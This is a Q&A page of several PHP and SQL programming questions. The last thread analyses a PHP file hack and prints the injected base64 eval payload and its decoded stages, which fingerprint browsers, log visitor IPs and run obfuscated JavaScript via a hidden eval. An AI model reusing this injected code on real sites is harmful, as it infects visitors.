How to calculate random numerical sequency number? - php

I'm trying to build the following numerical series 1, 1, 2, 3, 4, 5, 5, 6 until 100 ( It is a homework) . I have to do this using php code but I cannot get it , I've read the fibonacci method but the numerical series numbers are different.
<?php
$a=1;
$serie="1";
for ($i=1;$i<=100;$i++)
{
if($i%5==0)
{
$serie=$serie.",$i,$i";
}
else
{
$serie=$serie.",$i";
}
}
print $serie;
?>

As #tim pointed out in the comment, the solution is not printing a sequence from 1 to 100 where only numbers that are MOD 5 = 0 are duplicated. That way you do not get the repetition on 1.
From your homework question (which is not really clear in my opinion) I presume you want something like this:
<?php
for ($i = 0; $i < 100; $i++) {
echo $i+1 . ", ";
if ($i % 4 == 0) {
echo $i+1 . ", ";
}
}
?>
It prints:
1, 1, 2, 3, 4, 5, 5, 6, 7, 8, 9, 9, 10, 11, 12, 13, 13, 14, 15, 16, 17, 17, 18, 19, 20, 21, 21, 22, 23, 24, 25, 25, 26, 27, 28, 29, 29, 30, 31, 32, 33, 33, 34, 35, 36, 37, 37, 38, 39, 40, 41, 41, 42, 43, 44, 45, 45, 46, 47, 48, 49, 49, 50, 51, 52, 53, 53, 54, 55, 56, 57, 57, 58, 59, 60, 61, 61, 62, 63, 64, 65, 65, 66, 67, 68, 69, 69, 70, 71, 72, 73, 73, 74, 75, 76, 77, 77, 78, 79, 80, 81, 81, 82, 83, 84, 85, 85, 86, 87, 88, 89, 89, 90, 91, 92, 93, 93, 94, 95, 96, 97, 97, 98, 99, 100,
The logic is to print the index increased by 1 each iteration, and print it again if the result of the modulus operation index % 4 is equal to 0.

Related

How to show more than 1 data in php array after doing min and max

I'm doing my homework and I can't find the solution to displaying more than one result in array after doing min and max syntax
my teacher said that I should use min and max to show more than 1 result
$temperatures = [78, 60, 62, 68, 71, 68, 73, 85, 66, 64, 76, 63, 75, 76, 73, 68, 62, 73, 72, 65, 74, 62, 62, 65, 64, 68, 73, 75, 79, 73];
$max = max($temperatures);
$min = min($temperatures);
The final result should be:
average of the temperatures : 70.6
the five lowest temperature lists : 60, 62, 63, 63, 64
the five highest temperature lists : 76, 78, 79, 81, 85
My two cents on it:
$temperatures = [78, 60, 62, 68, 71, 68, 73, 85, 66, 64, 76, 63, 75, 76, 73, 68, 62, 73, 72, 65, 74, 62, 62, 65, 64, 68, 73, 75, 79, 73];
# simply sum the elements then divide by count
$avg = (array_sum($temperatures) / count($temperatures));
# sort arr low -> high
sort($temperatures);
# make els unique
$temperatures = array_unique($temperatures);
$min = array_slice($temperatures, 0, 5); # get first 5 in array
$max = array_slice($temperatures, -5); # get last 5 in array
echo '<pre>'. print_r($avg, 1) .'</pre>';
echo '<pre>'. print_r($min, 1) .'</pre>';
echo '<pre>'. print_r($max, 1) .'</pre>';

Slice out a part of an multidimensional array

Okay, so I got this multidimensional array in my project with some different values in it. For example:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33),
array("Array6", 51, 6, 21, 36),
array("Array7", 53, 8, 23, 38),
array("Array8", 55, 10, 25, 40),
array("Array9", 57, 12, 27, 42),
array("Array10", 59, 14, 29, 44),
);
I want to extract only a part of myArray, and "disable" the other part of the array. So I only want this output:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33)
);
Is there any way of achieving this in php?
array_slice() could help you.
$myArray= array_splice($myArray, 0, 5);
print '<pre>';
print_r($myArray);
print '</pre>';

Sql sort out "viral" topics (new topics that are most read)

I have the code below that works fine. But I want to add an sql query to this function that sorts out "new topics that are most read/viewed".
As you can see there are already an query for sorting out most viewed topic - "sql_views" and I want to copy and alter that query so that it only search within in the 100 latest topics(id). That could be a new query "sql_newview" or similiar.
Im stuck with this but I guess it pretty simple for a query-guru so Im hoping for help here!
E.g: Find 100 last entries in TOPICS_TABLE and sort out these with t.topic_views DESC.
$sql_main = "SELECT t.*, MAX(p.post_id) AS last_post
FROM " . POSTS_TABLE . " AS p, " . TOPICS_TABLE . " AS t
WHERE {available_forums_in_set}
AND p.topic_id = t.topic_id AND p.forum_id = t.forum_id
GROUP BY p.topic_id";
$sql_tt_avails = array(
'sql_topics' => array(
'sql' => "{$sql_main}
ORDER BY t.topic_time DESC",
'field' => 't.forum_id',
),
'sql_replies' => array(
'sql' => "{$sql_main}
ORDER BY t.topic_replies DESC, t.topic_time DESC",
'field' => 't.forum_id',
),
'sql_views' => array(
'sql' => "{$sql_main}
ORDER BY t.topic_views DESC, t.topic_time DESC",
'field' => 't.forum_id',
),
'sql_posts' => array(
'sql' => "{$sql_main}
ORDER BY t.topic_last_post_time DESC",
'field' => 't.forum_id',
),
);
Edit: Here are the full (working) queries, first of, "most viewed/read topics"
SELECT t.*, MAX(p.post_id) AS last_post FROM phpbb_posts AS p, phpbb_topics AS t WHERE t.forum_id IN (1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 12, 13, 14, 15, 17, 18, 19, 20, 21, 22, 24, 25, 26, 27, 28, 29, 30, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 106, 107, 108, 109, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125) AND p.topic_id = t.topic_id AND p.forum_id = t.forum_id GROUP BY p.topic_id ORDER BY t.topic_views DESC, t.topic_time DESC LIMIT 5
And here are the query for "newest topics"
SELECT t.*, MAX(p.post_id) AS last_post FROM phpbb_posts AS p, phpbb_topics AS t WHERE t.forum_id IN (1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 12, 13, 14, 15, 17, 18, 19, 20, 21, 22, 24, 25, 26, 27, 28, 29, 30, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 106, 107, 108, 109, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125) AND p.topic_id = t.topic_id AND p.forum_id = t.forum_id GROUP BY p.topic_id ORDER BY t.topic_time DESC LIMIT 5
I´ve tried several edits but cant get "sql_views" to sort "most viewed topics" from the 100 latest topics.
SQL has a limit clause eg SELECT * FROM {table} WHERE {condition} LIMIT 100

Why is in_array is faster than isset inside foreach?

Regarding to this thread what is faster: in_array or isset? They agreed that isset is faster than in_array.
But I ran to the issue where my page loads too slow and I var_dump-ed my vars to test it explicitly.
This is my extracted array.
$items = array(66, 68, 9, 68, 66, 57, 57, 66, 66, 66, 66, 68, 66, 48, 49, 14, 55, 57, 49, 105, 57, 57, 48, 105, 57, 66, 67, 57, 97, 67, 67, 50, 68, 57, 50, 51, 69, 71, 57, 57, 67, 69, 50, 50, 68, 67, 68, 68, 45, 97, 57, 56, 69, 69, 50, 67, 14, 68, 52, 53, 56, 62, 96, 96, 54, 62, 62, 68, 71, 69, 98, 83, 57, 98, 56, 84, 54, 6, 63, 64, 64, 62, 63, 54, 63, 54, 84, 1, 64, 64, 84, 54, 84, 84, 14, 3, 90, 65, 15, 15, 15, 63, 15, 93, 90, 90, 96, 93, 34, 94, 34, 74, 13, 40, 74, 40, 93, 93, 93, 93, 95, 94, 36, 35, 41, 94, 94, 35, 36, 41, 42, 44, 42, 93, 93, 96, 93, 36, 569, 43, 44, 65, 35, 13, 17, 33, 7, 7, 7, 7, 8, 73, 10, 12, 1, 1, 12, 1, 12, 38, 32, 39, 79, 80, 16, 82, 72, 82, 81, 72, 82, 18, 81, 28, 27, 27, 5, 26, 27, 25, 18, 26, 20, 26, 27, 28, 31, 20, 24, 28, 27, 20, 30, 29, 23, 22, 22, 29, 22, 30, 23, 23, 48, 49, 22, 29, 20, 30, 23, 18, 25, 31, 24, 28, 27, 26, 50, 57, 15, 62, 66, 63, 67, 64, 68, 65, 69, 34, 36, 35, 13, 14, 1, 3, 103, 74, 72, 81, 82, 90, 93, 94, 95, 96, 97, 98, 20, 25, 34, 36, 35, 8, 81, 73, 99, 100, 101, 102, 103, 104, 568, 568);
$productIds = array();
And the result I got is exactly the opposite, which:
$start = microtime(true);
foreach ($items as $item)
{
//if (!in_array($item, $productIds)) // 0.00030207633972168 seconds
if(!isset($productIds[$item])) // 5.2928924560547E-5 seconds
{
$productIds[] = $item;
}
}
$end = microtime(true);
echo ($end - $start).' seconds';
Then of course I am gonna stick with in_array in this case. But I am just curious what's going on here.. any idea?
Edit (actual code)
public function validateCreation ()
{
if ($this->getRequestParameter('ccItems'))
{
$arrProductIds = array();
foreach ($this->getRequestParameter('ccItems') as $ccItem)
{
//if ((!is_null($ccItem["product_id"])) && !isset($arrProductIds[$ccItem["product_id"]])) // 12.758,9kb-1.194ms and 12.758,9kb-1.202ms
if ((!is_null($ccItem["product_id"])) && !in_array($ccItem["product_id"], $arrProductIds)) // 11.599,5kb-972ms and 11.599.5kb-959ms
{
$arrProductIds[] = $ccItem["product_id"];
}
}
$result = "";
if (count($arrProductIds) > 0)
{
$isRequestValidated = MyClass::StaticFunction($arrProductIds, $result);
if ($isRequestValidated === false)
{
$this->getRequest()->setError('overall_error', $result);
}
}
}
return !($this->getRequest()->hasErrors());
}
You're wrong.
in_array takes 0.00030207633972168 seconds
isset takes 5.2928924560547E-5 seconds. Note the E-5 at the end, which by convention means 5.2928924560547×10-5 = 0.000052928924560547, which is faster.

Can <script type="text/javascript">window.location="/";</script> be hacked? [closed]

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 10 years ago.
My PHP files, especially index.php files with JavaScript redirects like:
<script type="text/javascript">window.location="/";</script>
Are hacked like this:
<?php eval(base64_decode(
'JGlwPSRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyRkcj0kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdOyR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQ
nXTskZGJmPSRkci4nLycubWQ1KCRkci4nMScpOw0KaWYoKHN0cnBvcygkdWEsJ1dpbmRvd3MnKSE9PWZhbHNlKSYmKChzdHJwb3MoJHVhLCdNU0lFJykhPT1
mYWxzZSl8fChzdHJwb3MoJHVhLCdGaXJlZm94JykhPT1mYWxzZSkpJiYoc3RycG9zKEBmaWxlX2dldF9jb250ZW50cygkZGJmKSwkaXApID09PSBmYWxzZSk
pew0KCWVycm9yX3JlcG9ydGluZygwKTsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1MGNubDdZV0p5WlNzcmZXTmhkR05vS0dFMlltRXpOSGt
wZTNSeWVYdHdjbTkwYjNSNWNHVW1NbjFqWVhSamFDaGhjMkZpS1h0bFBYZHBibVJ2ZDFzaVpTSXJJbllpS3lKaGJDSmRPMzE5SUdsbUtERXBlMlk5V3kwMEx
DMDFMRGt3TERnNUxERTRMREkxTERnM0xEazNMRGcwTERFd05DdzVOU3c0Tml3NU55d3hNRElzTXpFc09UQXNPRGNzTVRBeExEVTJMRGswTERnMkxEazJMRGc
zTERrMUxERXdNeXd4TURFc05URXNNVEE0TERjd0xEZ3lMRGt3TERZMExEZ3lMRGsyTERnM0xESTFMREkyTERnMExEazJMRGczTERFd055d3lOQ3d5T0N3M05
5d3pNeXc0TUN3eU55d3hNRGdzTUN3dE5Td3ROaXd0TkN3NU1TdzROeXd4TURFc09ETXNPVFFzT0Rnc01UQXdMREkxTERJNExEUTFMQzB5TEMwMExDMDFMREV
4TUN3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C4nfCcpOyBmY2xvc2UoJGZwKTt9DQp9'));?>
<script type="text/javascript">window.location="/";</script>
Is it because I am using $_SERVER["REQUEST_URI"] or $_SERVER["HTTP_REFERER"] or some other command - do they need stripping like mysql_real_escape_string
The problem is that your PHP code itself was hacked. You can try base64 decoding all that text to see what it's doing, but someone or something has access to modify your PHP file. The javascript has nothing to do with it.
If you're running something like wordpress, you can see what they recommend. First, though, you need to change all of your passwords. Then look to see how someone is modifying your code. And make sure that your files are not writable (try 755 instead of 777, for instance).
You appear to have an html (php) block injected into your page. Possibly the result of XSS?
First stage decode reveals:
$ip=$_SERVER["REMOTE_ADDR"];$dr=$_SERVER["DOCUMENT_ROOT"];$ua = $_SERVER['HTTP_USER_AGENT'];$dbf=$dr.'/'.md5($dr.'1');
if((strpos($ua,'Windows')!==false)&&((strpos($ua,'MSIE')!==false)||(strpos($ua,'Firefox')!==false))&&(strpos(#file_get_contents($dbf),$ip) === false)){
error_reporting(0);
echo(base64_decode('PHNjcmlwdD50cnl7YWJyZSsrfWNhdGNoKGE2YmEzNHkpe3RyeXtwcm90b3R5cGUmMn1jYXRjaChhc2FiKXtlPXdpbmRvd1siZSIrInYiKyJhbCJdO319IGlmKDEpe2Y9Wy00LC01LDkwLDg5LDE4LDI1LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwyNywxMDgsMCwtNSwtNiwtNCw5MSw4NywxMDEsODMsOTQsODgsMTAwLDI1LDI4LDQ1LC0yLC00LC01LDExMCwxOSw4Nyw5MywxMDIsODcsMTcsMTEwLC0xLC02LC00LC01LDg1LDk4LDg1LDEwMiw5Niw4Nyw5NSwxMDMsMzIsMTA0LDEwMSw5MSwxMDEsODgsMjYsMTksNDcsOTEsODcsMTAxLDgz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0cmluZzt4PSJqJSI7Zm9yKGk9MDstaSs1NzkhPTA7aSs9MSl7aj1pO2lmKGUmJigwMzE9PTB4MTkpKXM9cytyLmZyb21DaGFyQ29kZSgoMSp3W2pdK2UoeCszKSsxMykpO30gdHJ5e2FzZ2FzZyYxM31jYXRjaChhc2dhKXtlKHMpO308L3NjcmlwdD4='));
if ($fp = #fopen($dbf , "a")){fputs($fp , $ip.'|'); fclose($fp);}
}
Second Stage Decoding Reveals:
try {
abre++
} catch (a6ba34y) {
try {
prototype & 2
} catch (asab) {
e = window["e" + "v" + "al"];
}
}
if (1) {
f = [-4, - 5, 90, 89, 18, 25, 87, 97, 84, 104, 95, 86, 97, 102, 31, 90, 87, 101, 56, 94, 86, 96, 87, 95, 103, 101, 51, 108, 70, 82, 90, 64, 82, 96, 87, 25, 26, 84, 96, 87, 107, 24, 28, 77, 33, 80, 27, 108, 0, - 5, - 6, - 4, 91, 87, 101, 83, 94, 88, 100, 25, 28, 45, - 2, - 4, - 5, 110, 19, 87, 93, 102, 87, 17, 110, - 1, - 6, - 4, - 5, 85, 98, 85, 102, 96, 87, 95, 103, 32, 104, 101, 91, 101, 88, 26, 19, 47, 91, 87, 101, 83, 94, 88, 18, 100, 101, 85, 46, 26, 90, 101, 103, 98, 43, 34, 33, 102, 92, 107, 107, 94, 92, 99, 33, 87, 107, 104, 83, 31, 86, 97, 94, 34, 104, 84, 33, 98, 89, 99, 49, 88, 98, 47, 35, 26, 18, 104, 92, 86, 101, 91, 47, 24, 36, 34, 24, 19, 90, 86, 92, 89, 89, 103, 47, 24, 36, 34, 24, 19, 101, 101, 108, 94, 86, 48, 25, 103, 92, 101, 90, 85, 91, 93, 92, 102, 106, 45, 90, 90, 87, 86, 86, 97, 45, 97, 98, 101, 90, 103, 91, 96, 97, 44, 82, 85, 101, 96, 95, 103, 101, 88, 45, 93, 88, 88, 101, 45, 34, 44, 103, 97, 97, 45, 34, 44, 26, 48, 45, 34, 91, 87, 101, 83, 94, 88, 48, 19, 28, 45, - 2, - 4, - 5, 110, 0, - 5, - 6, 89, 103, 95, 86, 102, 90, 98, 96, 17, 92, 88, 99, 84, 95, 86, 101, 26, 26, 110, - 1, - 6, - 4, - 5, 103, 84, 100, 17, 89, 18, 46, 19, 86, 96, 86, 103, 94, 88, 96, 101, 33, 85, 99, 88, 83, 101, 88, 55, 93, 88, 95, 86, 97, 102, 25, 26, 91, 87, 101, 83, 94, 88, 25, 26, 46, 88, 31, 102, 87, 101, 52, 102, 101, 101, 91, 83, 104, 102, 86, 27, 25, 100, 101, 85, 24, 31, 25, 89, 103, 102, 97, 45, 33, 32, 104, 91, 106, 109, 93, 91, 101, 32, 86, 109, 103, 82, 33, 85, 96, 96, 33, 103, 86, 32, 97, 91, 98, 48, 90, 97, 46, 37, 25, 26, 46, 88, 31, 102, 102, 106, 95, 87, 31, 105, 91, 100, 92, 84, 90, 95, 91, 101, 108, 47, 24, 91, 91, 85, 87, 87, 95, 26, 45, 87, 33, 101, 101, 108, 94, 86, 33, 98, 96, 102, 91, 101, 92, 97, 95, 48, 25, 82, 85, 101, 96, 95, 103, 101, 88, 25, 44, 89, 32, 100, 103, 107, 93, 88, 32, 93, 88, 88, 101, 48, 25, 33, 26, 45, 87, 33, 101, 101, 108, 94, 86, 33, 102, 96, 99, 47, 24, 35, 25, 44, 89, 32, 100, 88, 102, 50, 103, 102, 99, 92, 84, 102, 103, 87, 25, 26, 105, 90, 87, 102, 89, 26, 30, 24, 36, 34, 24, 28, 45, 87, 33, 101, 86, 103, 51, 101, 103, 100, 90, 85, 103, 101, 88, 26, 24, 91, 87, 90, 90, 90, 101, 26, 30, 24, 36, 34, 24, 28, 45, - 2, - 4, - 5, - 6, 87, 97, 84, 104, 95, 86, 97, 102, 31, 90, 87, 101, 56, 94, 86, 96, 87, 95, 103, 101, 51, 108, 70, 82, 90, 64, 82, 96, 87, 25, 26, 84, 96, 87, 107, 24, 28, 77, 33, 80, 32, 82, 99, 98, 86, 97, 86, 52, 91, 91, 93, 87, 26, 87, 28, 45, - 2, - 4, - 5, 110];
}
w = f;
s = [];
r = String;
x = "j%";
for (i = 0; - i + 579 != 0; i += 1) {
j = i;
if (e && (031 == 0x19)) s = s + r.fromCharCode((1 * w[j] + e(x + 3) + 13));
}
try {
asgasg & 13
} catch (asga) {
e(s);
}
And then there is further payload obfuscated via a Javascript Packer. I'll fool around with this a bit more later in the afternoon for those interested in seeing the function of this...
If you're using PHP you can just use a header redirect instead, then you won't have to worry about JavaScript vulnerabilities:
header('Location: http://www.example.com/');
This will have to come before anything is outputted to the DOM. If SEO is a factor you may also consider using .htaccess redirects.

Categories